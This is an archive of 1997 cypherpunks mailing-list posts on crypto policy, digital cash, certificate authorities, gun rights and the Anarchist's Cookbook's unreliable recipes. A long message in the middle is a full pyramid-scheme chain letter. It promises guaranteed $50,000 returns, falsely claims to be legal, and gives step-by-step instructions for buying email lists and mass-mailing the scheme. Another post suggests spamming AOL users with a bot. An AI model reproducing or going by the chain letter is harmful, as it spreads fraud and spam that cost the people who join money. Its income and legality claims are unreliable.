>> Just for the record, _The Anarchist's Cookbook_ is full of
>> purposefully dangerous misinformation. It is written so that if you
>> follow enough of its recipies, you *will* kill yourself. I suggest old
>> archives or the newsgroup rec.pyrotechnics, which, until is self-
>> censored itself, provided excellent safety advice as well as how to
>> make things go boom. I'd imagine that there is still a wealth of
>> information about safety.
>
>I have the cookbook and can post it on a Web site. A while back I asked
>Jim Bell if he'd be willing to write short comments, like "this is
>bullshit" and "this is dangerous" and "here's a better way to make
>it stink".  If anyone knows chemistry and isn't in jail yet, please
>consider doing this wortwhile project.

I can give one minor example from memory...

The recipe for Nitrogen Tri-Iodide has four steps to it.  The first two
make the proper chemical.  The second two are drying agents that will make
the stuff blow up in your face.

The book has a number of other risky recipes.  It also contains the
infamous (false) "Banana Peel" rumor about how smoking banana peels can get
you high. A recipe for LSD that is pretty poor.  A bunch of other bogus
drug stuff... 

There are much better sources for info on explosives.  The government
publications do a pretty good job.  (I have seen a few on "how to make
explosives from common items" and the like.  Training for military
personnel trapped behind enemy lines and traing local governments for
uprisings and the like...  The CIA even did a comic book for distribution
in South America.



---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: grant@letzlink.com
Date: Sun, 29 Jun 1997 11:13:11 +0800
To: cypherpunks@toad.com
Subject: Let's Link
Message-ID: <199706290251.TAA03603@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Let's consider linking!

I invite you to visit Let's Link and add your site along with a brief description of your site content to our Internet Resource Center ... perhaps, our Let's Link & Links. 

Although, our "Add Your Link" service is FREE, we do ask you to reciprocate with a LINK at your site .... not required but highly appreciated.  

Our site visitation now exceeds 2,300 per/day!  25% Europe.... 70% North America... 5% Asia

Regards,

Frank Bertotti 
http://www.letzlink.com


 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Sun, 29 Jun 1997 08:28:08 +0800
To: cypherpunks@toad.com
Subject: Re: mailing list
In-Reply-To: <199706282214.PAA09700@fat.doobie.com>
Message-ID: <33B5B258.F5BAA05A@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain



Huge Cajones Remailer wrote:

> Why the fuck are there so many requests from aol ?
> thats eerie if you ask me.

   Simply becuase AOL users are stupid, although a few smart ones exist
(they can't be *too* smart if they use AOL), but in small numbers.  I
suggest we spam or set up a bot to spam any AOL user who does this.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 1 Jul 1997 00:18:28 +0800
To: Alan <alano@teleport.com>
Subject: Re: NRA and National Online Records Check bullshit
In-Reply-To: <Pine.GSO.3.96.970627131625.22839D-100000@linda.teleport.com>
Message-ID: <Pine.LNX.3.91.970628212839.98A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > If someone commits a crime,
> > lock him or her up or shoot them, or whatever. But once the penalty is
> > over, all normal rights return. The right to vote, the right to free
> > speech, the right to own weapons, etc.

Depends on your perspective. I can see a valid case for a penalty for say 
armed robbery that entails a lifetime, or 5/10/X year ban on ownership 
of guns. Other violent armed crime like this could also incur such a 
penalty as part of the sentence and I would consider this reasonable, 
however, banning ownership of guns for any felony is definitely not at 
all reasonable.

> > (Somehow most people think it's OK that convicted felons lose their rights
> > to vote and to have guns. (Once they're released, of course.) Do they think
> > convicted felons no longer have religious freedom? Can no longer write as
> > they wish? Jeesh.)

Speech cannot harm someone, if someone has commited a violent crime and 
are likely to do so again, banning ownership of firearms sounds 
reasonable to me, of course this is not going to be an effective ban, but 
that is beside the point.

> I find it interesting that they find the right to vote as dangerous as the
> right to own a gun.  

Indeed, I can see no justification whatsoever for banning participation 
in the democratic process as an ongoing penalty for commision of crime 
after the main sentence is completed.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 29 Jun 1997 10:20:31 +0800
To: cypherpunks@toad.com
Subject: Re: Hettinga's e$yllogism
In-Reply-To: <19970628101134.52512@bywater.songbird.com>
Message-ID: <v0302092bafdb61eb89e3@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:13 pm -0400 on 6/28/97, Tim May wrote:

   Kent (With a Brick, Mr.) Chrispin emetted:
> >Governments have devalued currencies many many times in the past
> >without the need of key escrow...key escrow is an independent issue.
>
> Sure, but one of the potential advantages of strong crypto is the
> oft-discussed "denationalization of money." Leading bankers are beginning
> to see the light on this.

I wonder if Mr. Chrispin has ever heard of George Soros, or does the
adventures of St. George and the BofE dragon smack too much of, horrors,
capitalism? (Modulo Soros' ocassional self-flagellatory Atlantic article,
of course. Knight-errants are all into that mortifying the flesh stuff. Or,
maybe he's just trying to hedge his bets or something...)


Anyway, on the same note, and, as a result of the Wired article this month
on FC97 (I finally saw it, and it's not as bad as I thought it was going to
be. I guess as long as they spell my name right...), I just got request for
an interview from a staff writer from Forbes. He's writing on this very
thing, the macroeconomic effect of transanational digital cash. His very
words to me were:

> An editor of mine liked the story so much he told
> me to expand it (a.k.a. totally rewrite it) looking at whether or not a
> boom in the use of electronic money might not render governmental
> monetary control irrelevant as well. Looking at the issue from that
> angle is convincing me that the answer is yes, and that the real story
> here is about crypto.

He's going to interview me on Tuesday, after the DCSB meeting.

God help us all. :-).

When I replied to him, I gave him the whole nine yards, poor guy. Hope I
didn't scare him off: financial cryptography, the ubiquitous geodesic
economy, cryptomoney, etc. (Including, of course, the, um, "excrable"
e$yllogism. ;-)) I also gave him a whole passle of people to talk to about
it, including David Friedman, who reported on another list lately that he's
brought father Milton around to believing in the inefficiency of central
banking compared to free banking, particularly in a world of ubiquitous
internetworks and financial cryptography. I also sent him on to Tatsuo
Tanaka, who did a presentation about a year ago at DCSB on, you guessed it,
the transnationality of digital cash. :-). (Of course, Tatsuo's thinking
then was that some global run or another on free$banks would end in the
creation of a central bank of cypherspace, but, maybe, he's *much* better
now. :-))


I didn't include you on that list, Tim, because I remember you saying
something about not being bothered with such reporter.cruft anymore, and
how coupling financial cryptography with strong cryptography in the eyes of
the press and the financial establishment didn't make any sense, but, in
case you want him to misquote us *both* and scare all those capitalist
tools out there half to death, let me know and I'll send him your way.

Or, maybe such glad tidings will make them all want to help us dance a jig
on the eventual grave of the nation-state, you never know. The rich and
hoity-toity are very different from you and me. Well, *me*, anyway...

(Did I ever tell you the story about how my old man built a sailboat on St.
Thomas without ever having really sailed much, and, the boat was so fast
that it won *lots* of silver, so much silver that he made the New York Post
(I think) about it, and, having read that article, Malcom Forbes came down
to the islands that fall, and invited Pop to hang out with him on
Highlander for a few days?

No?

Well, my old man built a sailboat on St. Thomas, you see,...)


<Tune: "America the beautiful"> "My country tis of thee, land of
plutography..." </T>

Cheers,
Bob Hettinga




-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Daragh Lawlor <Pule@worldnet.att.net>
Date: Sun, 29 Jun 1997 06:40:14 +0800
To: <cypherpunks@Algebra.COM>
Subject: **Important** Please Read
Message-ID: <18161.235609.64160475 cypherpunks@algebra.com>
MIME-Version: 1.0
Content-Type: text/plain




Dear friend,
This is a "ONE-TIME MESSAGE" you were randomly
selected to received this.
 There is no need to reply to remove, you will
 receive no further mailings
from us. 
If you have interest in this GREAT INFORMATION,
please do not click reply, use the contact
information in this message.  Thank You!

This is not a chain letter and you are not on a
mailing list. The following income opportunity is
one you may be interested in taking a look at. It
can be started with VERY MINIMAL outlay and the
income return is TREMENDOUS! <> <> <> <> <> <> <>
<> <> <> <> <> <> <> <> <> You are about to make
at least $50,000 - In less than 90 days Read the
enclosed program...THEN READ IT AGAIN!... <> <> <>
<> <> <> <> <> <> <> <> <> <> <> <> <> 
The enclosed information is something I almost let
slip through my fingers. Fortunately, sometime
later I re-read everything and gave some thought
and study to it. My name is Christopher Erickson.
Two years ago, the corporation I worked at for the
past twelve years down-sized and my position was
eliminated. After unproductive job interviews, I
decided to open my own business. Over the past
year, I incurred many unforeseen financial
problems. I owed my family, friends, and creditors
over $35,000. The economy was taking a toll on my
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meet. I had to refinance and borrow against my
home to support my family and struggling business.
I truly believe it was wrong for me to be in debt
like this. AT THAT MOMENT something significant
happened in my life and I am writing to share my
experience in hopes that this will change your
life FOREVER....FINANCIALLY!!! 

In mid-December, I received this program via email. Six months prior
to receiving this program I had been sending away
for information on various business opportunities.
All of the programs I received, in my opinion,
were not cost effective. They were either too
difficult for me to comprehend or the initial
investment was too much for me to risk to see if
they worked or not. One claimed I'd make a million
dollars in one year...it didn't tell me I'd have
to write a book to make it. But like I was saying,
in December of '95 I received this program. I
didn't send for it, or ask for it, they just got
my name off a mailing list. THANK GOODNESS FOR
THAT!!! After reading it several times, to make
sure I was reading it correctly, I couldn't
believe my eyes. Here was a MONEY-MAKING
PHENOMENON. I could invest as much as I wanted to
start, without putting me further in debt. After I
got a pencil and paper and figured it out, I would
at least get my money back. After determining that
the program is LEGAL and NOT A CHAIN LETTER, I
decided "WHY NOT". Initially I sent out 10,000
emails. It only cost me about $15.00 for my time
on-line. The great thing about email is that I
didn't need any money for printing to send out the
program, only the cost to fulfill my orders. I am
telling you like it is, I hope it doesn't turn you
off, but I promised myself that I would not
"rip-off" anyone, no matter how much money it cost
me! A good program to help do this is Ready Aim
Fire, an email extracting and mass mail program @
http://microsyssolutions.com/raf/ 

In less than one week, I was starting to receive orders for REPORT
#1. By January 13th, I had received 26 orders for
REPORT #1. When you read the GUARANTEE in the
program, you will see that "YOU MUST RECEIVE 15 TO
20 ORDERS FOR REPORT #1 WITHIN TWO WEEKS. IF YOU
DON'T, SEND OUT MORE PROGRAMS UNTIL YOU DO!" My
first step in making $50,000 in 20 to 90 days was
done. By January 30th, I had received 196 orders
for REPORT #2. If you go back to the GUARANTEE,
"YOU MUST RECEIVE 100 OR MORE ORDERS FOR REPORT #2
WITHIN TWO WEEKS. IF NOT, SEND OUT MORE PROGRAMS
UNTIL YOU DO. ONCE YOU HAVE 100 ORDERS, THE REST
IS EASY, RELAX, YOU WILL MAKE YOUR $50,000 GOAL."
Well, I had 196 orders for REPORT #2, 96 more than
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19th, of my emailing of 10,000, I received $58,000
with more coming in every day. I paid off ALL my
debts and bought a much needed new car. Please
take time to read the attached program, IT WILL
CHANGE YOUR LIFE FOREVER! Remember, it wont work
if you don't try it. This program does work, but
you must follow it EXACTLY! Especially the rules
of not trying to place your name in a different
place. It doesn't work, you'll lose out on a lot
of money! REPORT #2 explains this. Always follow
the guarantee, 15 to 20 orders for REPORT #1, and
100 or more orders for REPORT #2 and you will make
$50,000 or more in 20 to 90 days. I AM LIVING
PROOF THAT IT WORKS !!! If you choose not to
participate in this program, I'm sorry. It really
is a great opportunity with little cost or risk to
you. If you choose to participate, follow the
program and you will be on your way to financial
security. If you are a fellow business owner and
you are in financial trouble like I was, or you
want to start your own business, consider this a
sign. I DID! 

Sincerely, 
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PS Do you have any idea what 11,700 $5 bills ($58,000)
look like piled up on a kitchen table? 

IT'S AWESOME! THREW IT AWAY" "I had received this
program before. I threw it away, but later
wondered if I shouldn't have given it a try. Of
course, I had no idea who to contact to get a
copy, so I had to wait until I was emailed another
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came. I DIDN'T throw this one away. I made $41,000
on the first try." Dawn W., Evansville, IN 

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'remember, Alan, there is no free lunch in life.
You get out of life what you put into it.' Through
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very well, I just had to find the right target
group of people to email it to. So far this year,
I have made over $63,000 using this program. I
know my dad would have been very proud of me."
Alan B., Philadelphia, PA 


A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM 
By the time you have
read the enclosed information and looked over the
enclosed program and reports, you should have
concluded that such a program, and one that is
legal, could not have been created by an amateur.
Let me tell you a little about myself. I had a
profitable business for ten years. Then in 1979 my
business began falling off. I was doing the same
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it wasn't working. Finally, I figured it out. It
wasn't me, it was the economy. Inflation and
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never had anything to save or invest, were moving
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will never allow you to "move up" or "get rich",
inflation will see to that. You have just received
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"JUST A LITTLE BIT OF EFFORT." You can make more
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retired from the program after sending out over
16,000 programs. Now I have several offices which
market this and several other programs here in the
US and overseas. By the Spring, we wish to market
the 'Internet' by a partnership with AMERICA ON
LINE. Follow the program EXACTLY AS INSTRUCTED. Do
not change it in any way. It works exceedingly
well as it is now. Remember to email a copy of
this exciting program to everyone that you can
think of. One of the people you send this to may
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one of them!. Remember though, the more you send
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So my friend, I have given you the ideas,
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"THINK ABOUT IT" Before you delete this program
from your mailbox, as I almost did, take a little
time to read it and REALLY THINK ABOUT IT. Get a
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participate. Figure out the worst possible
response and no matter how you calculate it, you
will still make a lot of money! Definitely get
back what you invested. Any doubts you have will
vanish when your first orders come in. IT WORKS!
Paul Johnson, Raleigh, NC HERE'S HOW THIS AMAZING
PROGRAM WILL MAKE YOU $$$$$$ Let's say that you
decide to start small, just to see how it goes,
and we'll assume you and all those involved send
out 2,000 programs each. Let's also assume that
the mailing receives a .5% response. Using a good
list the response could be much better. Also many
people will send out hundreds of thousands of
programs instead of 2,000. But continuing with
this example, you send out only 2,000 programs.
With a 5% response, that is only 10 orders for
REPORT #1. Those 10 people respond by sending out
2,000 programs each for a total of 20,000. Out of
those .5%, 100 people respond and order REPORT #2.
Those 100 mail out 2,000 programs each for a total
of 200,000. The .5% response to that is 1,000
orders for REPORT #3. Those 1,000 send out 2,000
programs each for a 2,000,000 total. The .5%
response to that is 10,000 orders for REPORT #4.
That's 10,000 five dollar bills for you. CASH!!!!
Your total income in this example is $50 + $500 +
$5000 + $50,000 for a total of $55,550!!!!
REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF
2,000 PEOPLE YOU MAIL TO WILL DO ABSOLUTELY
NOTHING... AND TRASH THIS PROGRAM! DARE TO THINK
FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE OR HALF
SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2,000.
Believe me, many people will do that and more! By
the way, your cost to participate in this is
practically nothing. You obviously already have an
internet connection and email is FREE!!! REPORT#3
will show you the best methods for bulk emailing
and purchasing email lists. THIS IS A LEGITIMATE,
LEGAL, MONEY MAKING OPPORTUNITY. It does not
require you to come in contact with people, do any
hard work, and best of all, you never have to
leave the house except to get the mail. If you
believe that someday you'll get that big break
that you've been waiting for, THIS IS IT! Simply
follow the instructions, and your dream will come
true. This multi-level email order marketing
program works perfectly...100% EVERY TIME. Email
is the sales tool of the future. Take advantage of
this non-commercialized method of advertising
NOW!! The longer you wait, the more people will be
doing business using email. Get your piece of this
action!! MULTI-LEVEL MARKETING (MLM) has finally
gained respectability. It is being taught in the
Harvard Business School, and both Stanford
Research and The Wall Street Journal have stated
that between 50% and 65% of all goods and services
will be sold throughout Multi-level Methods by the
mid to late 1990's. This is a Multi-Billion Dollar
industry and of the 500,000 millionaires in the
US, 20% (100,000) made their fortune in the last
several years in MLM. Moreover, statistics show 45
people become millionaires everyday through
Multi-Level Marketing. INSTRUCTIONS We at Erris
Mail Order Marketing Business, have a method of
raising capital that REALLY WORKS 100% EVERY TIME.
I am sure that you could use $50,000 to $125,000
in the next 20 to 90 days. Before you say "Bull",
please read the program carefully. This is not a
chain letter, but a perfectly legal money making
opportunity. Basically, this is what we do: As
with all multi-level business, we build our
business by recruiting new partners and selling
our products. Every state in the USA allows you to
recruit new multi-level business partners, and we
offer a product for EVERY dollar sent. YOUR ORDERS
COME AND ARE FILLED THROUGH THE MAIL, so you are
not involved in personal selling. You do it
privately in your own home, store or office. This
is the GREATEST Multi-level Mail Order Marketing
anywhere: Step (1) Order all four 4 REPORTS listed
by NAME AND NUMBER. Do this by ordering the REPORT
from each of the four 4 names listed on the next
page. For each REPORT, send $5 CASH and a SELF-
ADDRESSED, STAMPED envelope (BUSINESS SIZE #10) to
the person listed for the SPECIFIC REPORT.
International orders should also include $1 extra
for postage. It is essential that you specify the
NAME and NUMBER of the report requested to the
person you are ordering from. You will need ALL
FOUR 4 REPORTS because you will be REPRINTING and
RESELLING them. DO NOT alter the names or sequence
other than what the instructions say. IMPORTANT:
Always provide same-day service on all orders.
Step (2) Replace the name and address under REPORT
#1 with  yours, moving the one that was there down
to REPORT #2. Drop the name and address under
REPORT #2 to REPORT #3, moving the one that was
there to REPORT #4. The name and address that was
under REPORT #4 is dropped from the list and this
party is no doubt on the way to the bank. When
doing this, make certain you type the names and
addresses ACCURATELY! DO NOT MIX UP MOVING
PRODUCT/REPORT POSITIONS!!! Step (3) Having made
the required changes in the NAME list, save it  as
a text (.txt) file in it's own directory to be
used with whatever email program you like. Again,
REPORT #3 will tell you the best methods of bulk
emailing and acquiring email lists. Step (4) Email
a copy of the entire program (all of this is very
important) to everyone whose address you can get
your hands on. Start with friends and relatives
since you can encourage them to take advantage of
this fabulous money-making opportunity. That's
what I did. And they love me now, more than ever.
Then, email to anyone and everyone! Use your
imagination! You can get email addresses from
companies on the internet who specialize in email
mailing lists. These are very cheap, 100,000
addresses for around $35.00. IMPORTANT: You won't
get a good response if you use an old list, so
always request a FRESH, NEW list. You will find
out where to purchase these lists when you order
the four 4 REPORTS. ALWAYS PROVIDE SAME-DAY
SERVICE ON ALL ORDERS!!! REQUIRED REPORTS ***Order
each REPORT by NUMBER and NAME*** ALWAYS SEND A
SELF-ADDRESSED, STAMPED ENVELOPE AND $5 CASH FOR
EACH ORDER REQUESTING THE SPECIFIC REPORT BY NAME
AND NUMBER
__________________________________________________
 REPORT #1
 "HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"
ORDER REPORT #1 FROM: 
T.R. Enterprises
800 S. Pacific Coast Highway, #8-425
Redondo Beach,
CA 90277
__________________________________________________
____
 REPORT #2
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES" 
ORDER REPORT #2 FROM:
J.K.Enterprises
 P. O.  Box 10893
 Blacksburg, VA
24060
__________________________________________________
______
 REPORT#3
"SOURCES FOR THE BEST MAILING LISTS"
ORDER REPORT #3 FROM:
Hendon Enterprises
P.O. Box 188
Seguin, TX 
__________________________________________________
_____ REPORT #4 "EVALUATING MULTI-LEVEL SALES
PLANS" ORDER REPORT #4 FROM: 
78156Prosperity Group
PO Box 968
Englewood, FL 

__________________________________________________
______ CONCLUSION I am enjoying my fortune that I
made by sending out this program. You too, will be
making money in 20 to 90 days, if you follow the
SIMPLE STEPS outlined in this mailing. To be
financially independent is to be FREE. Free to
make financial decisions as never before. Go into
business, get into investments, retire or take a
vacation. No longer will a lack of money hold you
back. However, very few people reach financial
independence, because when opportunity knocks,
they choose to ignore it. It is much easier to say
"NO" than "YES", and this is the question that you
must answer. Will YOU ignore this amazing
opportunity or will you take advantage of it? If
you do nothing, you have indeed missed something
and nothing will change. Please re-read this
material, this is a special opportunity. If you
have any questions, please feel free to write to
the sender of this information. You will get a
prompt and informative reply. My method is simple.
I sell thousands of people a product for $5 that
costs me pennies to produce and email. I should
also point out that this program is legal and
everyone who participates WILL make money. This is
not a chain letter or pyramid scam. At times you
have probably received chain letters, asking you
to send money, on faith, but getting NOTHING in
return, NO product what-so-ever! Not only are
chain letters illegal, but the risk of someone
breaking the chain makes them quite unattractive.
You are offering a legitimate product to your
people. After they purchase the product from you,
they reproduce more and resell them. It's simple
free enterprise. As you learned from the enclosed
material, the PRODUCT is a series of four 4
FINANCIAL AND BUSINESS REPORTS. The information
contained in these REPORTS will not only help you
in making your participation in this program more
rewarding, but will be useful to you in any other
business decisions you make in the years ahead.
You are also buying the rights to reprint all of
the REPORTS, which will be ordered from you by
those to whom you mail this program. The concise
one and two page REPORTS you will be buying can
easily be reproduced at a local copy center for a
cost off about 3 cents a copy. Best wishes with
the program and Good Luck! "IT WAS TRULY AMAZING"
"Not being the gambling type, it took me several
weeks to make up my mind to participate in this
program. But conservative as I am, I decided that
the initial investment was so little that there
was no way that I could not get enough orders to
at least get my money back. BOY, was I ever
surprised when I found my medium sized post office
box crammed with orders! I will make more money
this year than any ten years of my life before."
Mary Riceland, Lansing, MI TIPS FOR SUCCESS Send
for your four 4 REPORTS immediately so you will
have them when the orders start coming in. When
you receive a $5 order, you MUST send out the
product/service to comply with US Postal and
Lottery laws. Title 18 Sections 1302 and 1341
specifically state that: "A PRODUCT OR SERVICE
MUST BE EXCHANGED FOR MONEY RECEIVED." WHILE YOU
WAIT FOR THE REPORTS TO ARRIVE: 1.	Name your new
company. You can use your own name if you desire.
2.	Get a post office box (preferred). 3.	Edit the
names and addresses on the program. You must
remember, your name and 	address go next to REPORT
#1 and the others all move down one, with the
fourth one 	being bumped OFF the list. 4.	Obtain
as many email addresses as possible to send until
you receive the information on 	mailing list
companies in REPORT #3. 5.	Decide on the number of
programs you intend to send out. The more you
send, and the 	quicker you send them, the more
money you will make. 6.	After mailing the
programs, get ready to fill the orders. 7.	Copy
the four 4 REPORTS so you are able to sent them
out as soon as you receive an 	order. IMPORTANT:
ALWAYS PROVIDE SAME-DAY SERVICE ON ORDERS 	YOU
RECEIVE! 8.	Make certain the letter and reports
are neat and legible. YOUR GUARANTEE The check
point which GUARANTEES your success is simply
this: you must receive 15 to 20 orders for REPORT
#1. This is a must!!! If you don't within two
weeks, email out more programs until you do. Then
a couple of weeks later you should receive at
least 100 orders for REPORT #2, if you don't, send
out more programs until you do. Once you have
received 100 or more orders for REPORT #2, (take a
deep breath) you can sit back and relax, because
YOU ARE GOING TO MAKE AT LEAST $50,000.
Mathematically it is a proven guarantee. Of those
who have participated in the program and reached
the above GUARANTEES-ALL have reached their
$50,000 goal. Also, remember, every time your name
is moved down the list you are in front of a
different REPORT, so you can keep track of your
program by knowing what people are ordering from
you. IT'S THAT EASY, REALLY, IT IS!!! REMEMBER:
"HE WHO DARES NOTHING, NEED NOT HOPE FOR
ANYTHING." "INVEST A LITTLE TIME, ENERGY AND MONEY
NOW OR SEARCH FOR IT FOR THE REST OF YOUR LIFE."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Sun, 29 Jun 1997 11:01:26 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Hettinga's e$yllogism
In-Reply-To: <19970628101134.52512@bywater.songbird.com>
Message-ID: <97Jun28.225157edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 28 Jun 1997, Kent Crispin wrote:

> But so what? Right now the government has intimate knowledge of your
> finances through tax records and other sources, and has the power to
> put liens on your property and your cash for all kinds of reasons.  
> And indeed, all too frequently it gets out of control.  But the 
> bottom line is that business in the US continues to function.  It 
> would continue to function with key escrow, as well.

They can easily put a lein on MY property, but (except for some abuses
which are the subject of lawsuits), they can't put a lein on something
that has been sold and resold that is now someone else's.  With GAK$, they
can cancel every $20 e-bill I have ever spent, those I currently own, and
those I have transferred to others in exchange.

> Assuming certain models of key escrow, yes.  Under other models, no.  
> But imagine the worst case -- GAK creates a huge unwieldy expensive 
> computerized infrastructure and associated bureacracy.  What 
> happens?  Businesses find other ways to protect their data and 
> transactions, huge economic inefficiencies develop, and the whole 
> thing collapses and goes away.
> 
> It's amazing how little faith libertarians have in the market system,
> isn't it?  :-)

Actually I expect exactly what you describe to happen.  In various other
posts and venues, I have said in some form that "The government won't be
overthrown in a revolution, it will be obsoleted by technology". 

But waiting for the market to take effect may not be short or pleasant.
Look how long it took for the Soviet empire to collapse.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 29 Jun 1997 14:08:48 +0800
To: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Subject: Re: Bomb-making instructions....
In-Reply-To: <3.0.2.32.19970628094411.006c20b8@netcom10.netcom.com>
Message-ID: <3.0.2.32.19970628230229.03119a94@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:44 PM 6/28/97 -0400, Jeremiah A Blatz <jer+@andrew.cmu.edu> wrote:
>Just for the record, _The Anarchist's Cookbook_ is full of
>purposefully dangerous misinformation. It is written so that if you
>follow enough of its recipies, you *will* kill yourself.

No surprise - a book on bombmaking has so little to do with anarchism*
that you'd expect the author to either be clueless or spreading
disinformation, so there's no reason to expect his bomb-making info to 
be correct either.

[*Ok, there have been a few anarchists who've thrown bombs,
and anarchists who _like_ that sort of thing aren't going to pay
much attention to the government's opinion on whether bombs ar cool,
and if there are many chemically clueless bomb-loving anarchists,
some of them _might_ get their books published before Darwin 
removes them from the meme pool, but the couple of books like that
strike me as either deliberate disinformation, or else as
particularly negligent attempts at making a fast buck from
rebellious teenagers.]

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 29 Jun 1997 14:37:15 +0800
To: cypherpunks@toad.com
Subject: Re: mailing list
In-Reply-To: <199706282214.PAA09700@fat.doobie.com>
Message-ID: <3.0.2.32.19970628231133.0312314c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:14 PM 6/28/97 -0700, Huge Cajones Remailer wrote:
>Why the fuck are there so many requests from aol ?
>thats eerie if you ask me.

Because there was just an article in Wired on the
Cypherpunks Anguilla conference, so people who are
not necessarily Internet-literate but do like
Rilly C00L Stuf an' Garish GrafiX are poking around
trying to find more c00l stuf....

It's the price of publicity, and if you don't like it,
go read Ender's Game again.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Sun, 29 Jun 1997 15:05:09 +0800
To: Eric Murray <ericm@lne.com>
Subject: Re: Secure Authentication
In-Reply-To: <3.0.2.32.19970627134844.03400910@mail.atl.bellsouth.net>
Message-ID: <3.0.2.32.19970629025104.033fe46c@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 01:26 PM 6/27/97 -0700, Eric Murray wrote:
>And another question is should government be involved at all?
>My answer to that is no, not for the setting of CA policy.
[CA is Certification Authority]

While I wholeheartedly and forcefully agree with Eric's sentiment, the 
business reality is that the gov't will be involved in setting CA policy.  If 
for no other reason, simply because CA's will be used by the gov't.  Even 
from a hands off, pro business viewpoint, few CA's will ignore the wishes of 
their largest customer, the gov't.

The gov't will be involved in CA policy for several reasons.  I'll lightly 
glance on some of them.

 * Beeps and chirps.  Signatures on paper have legal meaning.  This is why 
there is a push to use digital signatures - to give them legal meaning.  
While contract law can be somewhat applied to this concept, many would agree 
that official acknowledgement of digital signatures is a key element of using 
digital signatures in commerce.  A recent case in Georgia's supreme court 
ruled that electronic messages were beeps and chirps, and had no legal status 
as a "writing".  The law continually refers to signatures and writings.  
There must be a law, or interpretation of law to allow for this to be updated 
to electronic writings.  Even if mutual consent could be used between 
corporations, as the state moves to the cost savings of electronic commerce 
the state will have to impose laws to enable itself to take advantage of 
these technologies.

At 01:26 PM 6/27/97 -0700, Eric Murray wrote:
>The biggest problem with CAs and the law is legal liability.  The liability
>of being a CA is currently unknown until there is case law on the topic.

 * Resolving legal liability.  Some of the proposed laws for enabling digital 
signature technology do in fact solve the liability problem for CA's by 
legislating it out as long as the CA performs due diligence.  To enforce due 
diligence, some laws also provide for government auditing of CA procedures 
and for injunctive relief to shut down a "rogue" Certification Authority.

A copy of one such overly bureaucratic 22 page Certification Authority law 
can be found at http://www.efga.org/digsig/lawdraft.html  This is the 
original draft of Georgia's Digital Signature law.  This draft was thrown out 
and rewritten from scratch to form a much better law.  (assuming any law can 
be good)

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQBVAwUBM7YF00GpGhRXg5NZAQGnEAH+JRioBgJi2UIK1SkBBtaACNHCsd6nYbyU
Q5/57jni0VV1AejCK7tOCFN1KfPe43dKlnsplBrO+spBf7Lt9j90Mw==
=pAgj
-----END PGP SIGNATURE-----

  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 29 Jun 1997 19:06:00 +0800
To: cypherpunks@toad.com
Subject: Dr. Netscape / Re: More about Netscape Bug finder
Message-ID: <199706291046.DAA21946@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Lynne L. Harrison wrote:

> This reminded me to ask if anyone knows if, per their statement, Netscape
> intends to u/l a patch for the 3.x versions.  When I checked yesterday, I
> didn't see any reference to it.

  Why would you expect Netscape to make reference to the fact that
